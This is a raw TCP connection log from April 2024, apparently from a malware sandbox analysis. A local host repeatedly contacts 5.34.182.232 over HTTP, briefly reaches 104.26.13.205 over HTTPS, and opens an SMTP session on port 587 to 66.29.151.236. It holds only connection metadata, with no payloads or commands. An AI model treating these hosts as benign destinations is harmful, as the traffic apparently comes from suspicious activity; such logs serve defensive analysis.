Apr 20, 2024 10:22:58.405874968 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.405883074 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.405893087 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.405909061 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.405917883 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.405922890 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.405930996 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.405946970 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.405950069 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.405966997 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.405966997 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.405988932 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.406006098 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.406012058 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.406023979 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.406040907 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.406049967 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.406059027 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.406076908 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.406085968 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.406095028 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.406112909 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.406126022 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.406133890 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.406151056 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.406157017 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.406191111 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.429537058 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.429578066 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.429620028 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.429656029 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.429666996 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.429693937 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.429706097 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.429733992 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.429786921 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.640022993 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.640077114 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.640136957 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.640173912 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.640168905 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.640209913 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.640243053 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.640250921 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.640304089 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.644659996 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.644697905 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.644736052 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.644762039 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.644824028 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.644860029 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.644881010 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.644912958 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.644949913 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.644967079 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.644987106 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.645024061 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.645042896 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.645060062 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.645097017 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.645132065 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.645133972 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.645184994 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.645200968 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.645222902 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.645258904 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.645273924 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.645311117 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.645365953 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.645855904 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.645934105 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.645971060 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.645994902 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.646007061 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.646044016 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.646059036 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.646081924 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.646117926 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.646136045 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.646187067 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.646223068 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.646238089 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.646260023 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.646295071 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.646317005 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.646332026 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.646367073 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.646393061 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.646403074 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.646439075 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.646456003 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.646476030 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.646512032 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.646529913 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.646548986 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.646584988 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.646601915 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.646622896 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.646675110 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.646675110 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.646713972 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.646748066 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.646763086 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.646784067 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.646820068 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.646832943 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.646856070 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.646892071 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.646903038 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.646928072 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.646966934 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.646979094 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.647002935 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.647038937 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.647058964 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.647074938 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.647113085 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.647125959 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.647149086 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.647183895 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.647203922 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.647221088 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.647257090 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.647275925 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.647293091 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.647329092 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.647339106 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.647365093 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.647401094 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.647423983 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.647437096 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.647471905 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.647496939 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.647524118 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.647561073 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.647578001 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.647597075 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.647634983 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.647650003 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.647670984 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.647706985 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.647722960 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.647743940 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.647778988 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.647799015 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.647815943 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.647851944 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.647866011 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.647887945 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.647923946 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.647937059 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.647959948 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.647995949 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.648014069 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.648031950 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.648067951 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.648082018 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.648122072 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.648159981 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.648179054 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.648196936 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.648232937 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.648248911 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.648269892 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.648307085 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.648322105 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.648343086 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.648379087 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.648408890 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.648415089 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.648449898 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.648457050 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.648487091 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.648524046 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.648529053 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.648560047 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.648595095 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.648612022 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.648633003 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.648669004 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.648699999 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.648705006 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.648741961 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.648757935 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.648778915 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.648813963 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.648833036 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.648850918 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.648886919 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.648910999 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.648922920 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.648971081 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.648974895 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.649013042 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.649048090 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.649068117 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.649085045 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.649142027 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.670203924 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.670242071 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.670278072 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.670314074 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.670312881 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.670351982 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.670370102 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.670388937 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.670443058 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:58.880783081 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.880841970 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.880883932 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:58.880995989 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:00.988400936 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:00.988501072 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:31.235168934 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:31.591456890 CEST	49716	443	192.168.2.5	104.26.13.205
Apr 20, 2024 10:23:31.591494083 CEST	443	49716	104.26.13.205	192.168.2.5
Apr 20, 2024 10:23:31.591561079 CEST	49716	443	192.168.2.5	104.26.13.205
Apr 20, 2024 10:23:31.597726107 CEST	49716	443	192.168.2.5	104.26.13.205
Apr 20, 2024 10:23:31.597743034 CEST	443	49716	104.26.13.205	192.168.2.5
Apr 20, 2024 10:23:31.819988966 CEST	443	49716	104.26.13.205	192.168.2.5
Apr 20, 2024 10:23:31.820056915 CEST	49716	443	192.168.2.5	104.26.13.205
Apr 20, 2024 10:23:31.824167013 CEST	49716	443	192.168.2.5	104.26.13.205
Apr 20, 2024 10:23:31.824194908 CEST	443	49716	104.26.13.205	192.168.2.5
Apr 20, 2024 10:23:31.824574947 CEST	443	49716	104.26.13.205	192.168.2.5
Apr 20, 2024 10:23:31.864252090 CEST	49716	443	192.168.2.5	104.26.13.205
Apr 20, 2024 10:23:31.912127018 CEST	443	49716	104.26.13.205	192.168.2.5
Apr 20, 2024 10:23:32.115606070 CEST	443	49716	104.26.13.205	192.168.2.5
Apr 20, 2024 10:23:32.115684032 CEST	443	49716	104.26.13.205	192.168.2.5
Apr 20, 2024 10:23:32.115735054 CEST	49716	443	192.168.2.5	104.26.13.205
Apr 20, 2024 10:23:32.127271891 CEST	49716	443	192.168.2.5	104.26.13.205
Apr 20, 2024 10:23:32.685930014 CEST	49717	587	192.168.2.5	66.29.151.236
Apr 20, 2024 10:23:32.839432955 CEST	587	49717	66.29.151.236	192.168.2.5
Apr 20, 2024 10:23:32.839550018 CEST	49717	587	192.168.2.5	66.29.151.236
Apr 20, 2024 10:23:33.402307034 CEST	587	49717	66.29.151.236	192.168.2.5
Apr 20, 2024 10:23:33.402858973 CEST	49717	587	192.168.2.5	66.29.151.236
Apr 20, 2024 10:23:33.556574106 CEST	587	49717	66.29.151.236	192.168.2.5
Apr 20, 2024 10:23:33.556593895 CEST	587	49717	66.29.151.236	192.168.2.5
Apr 20, 2024 10:23:33.557555914 CEST	49717	587	192.168.2.5	66.29.151.236
Apr 20, 2024 10:23:33.711218119 CEST	587	49717	66.29.151.236	192.168.2.5
Apr 20, 2024 10:23:33.711571932 CEST	49717	587	192.168.2.5	66.29.151.236
Apr 20, 2024 10:23:33.871107101 CEST	587	49717	66.29.151.236	192.168.2.5
Apr 20, 2024 10:23:33.871438980 CEST	49717	587	192.168.2.5	66.29.151.236
Apr 20, 2024 10:23:34.027132034 CEST	587	49717	66.29.151.236	192.168.2.5
Apr 20, 2024 10:23:34.027381897 CEST	49717	587	192.168.2.5	66.29.151.236
Apr 20, 2024 10:23:34.183841944 CEST	587	49717	66.29.151.236	192.168.2.5
Apr 20, 2024 10:23:34.186126947 CEST	49717	587	192.168.2.5	66.29.151.236
Apr 20, 2024 10:23:34.339793921 CEST	587	49717	66.29.151.236	192.168.2.5
Apr 20, 2024 10:23:34.344247103 CEST	49717	587	192.168.2.5	66.29.151.236
Apr 20, 2024 10:23:34.344316006 CEST	49717	587	192.168.2.5	66.29.151.236
Apr 20, 2024 10:23:34.344316006 CEST	49717	587	192.168.2.5	66.29.151.236
Apr 20, 2024 10:23:34.344316006 CEST	49717	587	192.168.2.5	66.29.151.236
Apr 20, 2024 10:23:34.498094082 CEST	587	49717	66.29.151.236	192.168.2.5
Apr 20, 2024 10:23:34.498123884 CEST	587	49717	66.29.151.236	192.168.2.5
Apr 20, 2024 10:23:34.503941059 CEST	587	49717	66.29.151.236	192.168.2.5
Apr 20, 2024 10:23:34.554634094 CEST	49717	587	192.168.2.5	66.29.151.236
Apr 20, 2024 10:23:44.595323086 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:44.835391998 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:44.835593939 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:46.205118895 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:46.445028067 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:46.445223093 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:46.445333004 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:46.445414066 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:46.445434093 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:46.445455074 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:46.445492983 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:46.445528984 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:46.445564032 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:46.445601940 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:46.445605993 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:46.445605993 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:46.445638895 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:46.445637941 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:46.445676088 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:46.445709944 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:46.685480118 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:46.685542107 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:46.685636044 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:46.685673952 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:46.685714960 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:46.685750961 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:46.685787916 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:46.685787916 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:46.685796022 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:46.685834885 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:46.685837030 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:46.685873032 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:46.685878038 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:46.685910940 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:46.685945988 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:46.685949087 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:46.685982943 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:46.686018944 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:46.686021090 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:46.686057091 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:46.686093092 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:46.686096907 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:46.686131954 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:46.686167955 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:46.686177969 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:46.686208010 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:46.686244011 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:46.686247110 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:46.686280012 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:46.686321020 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:46.926044941 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:46.926064968 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:46.926074982 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:46.926084995 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:46.926098108 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:46.926109076 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:46.926120043 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:46.926131010 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:46.926141977 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:46.926151991 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:46.926162958 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:46.926172972 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:46.926182985 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:46.926193953 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:46.926256895 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:46.926297903 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:46.926333904 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:46.926345110 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:46.926354885 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:46.926359892 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:46.926366091 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:46.926369905 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:46.926374912 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:46.926384926 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:46.926393986 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:46.926404953 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:46.926409960 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:46.926415920 CEST	80	49718	5.34.182.232	192.168.2.5
